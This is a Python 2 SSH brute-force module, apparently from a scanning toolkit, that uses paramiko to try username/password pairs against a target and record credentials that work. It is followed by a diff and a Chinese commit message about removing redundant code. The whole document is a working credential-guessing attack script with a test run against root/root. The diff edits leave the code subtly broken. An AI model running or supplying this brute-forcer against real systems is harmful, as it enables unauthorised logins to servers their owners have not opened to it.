# -*- coding: UTF-8 -*-
import logging
import paramiko
import burp

class ssh_burp(burp.burp):
    def burp_thread(self,password):
        if self.stop_signal:
            return None
        try:
            burp=True
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            try:
                ssh.connect(self.target,self.port,self.now_user,password)
            except Exception,e:
                burp=False
            if burp:
                ssh.close()
                self.result_pool[self.target+'_'+str(self.port)] = (self.now_user,password)
                self.stop_signal = True
        except Exception,e:
            logging.error(e)

if __name__ == '__main__':
    burp_test = ssh_burp()
    burp_test.init_target('172.17.0.13',22)
    burp_test.init_uspw(['root'],['root'])
    burp_test.start_burp()
    burp_test.checkstate()
@@ -204,31 +204,8 @@
 y:%0D%0A
-            burp=True%0D%0A
     
@@ -236,24 +236,24 @@
 SHClient()%0D%0A
+
             
@@ -315,30 +315,8 @@
 ))%0D%0A
-            try:%0D%0A    
     
@@ -386,95 +386,8 @@
 d)%0D%0A
-            except Exception,e:%0D%0A                burp=False%0D%0A            if burp:%0D%0A    
     
@@ -403,28 +403,24 @@
 sh.close()%0D%0A
-    
             
@@ -488,36 +488,32 @@
 user,password)%0D%0A
-    
             self
@@ -691,9 +691,9 @@
 .0.1
-3
+6
 ',22
@@ -721,16 +721,17 @@
 _uspw(%5B'
+1
 root'%5D,%5B

删除ssh爆破模块冗余代码。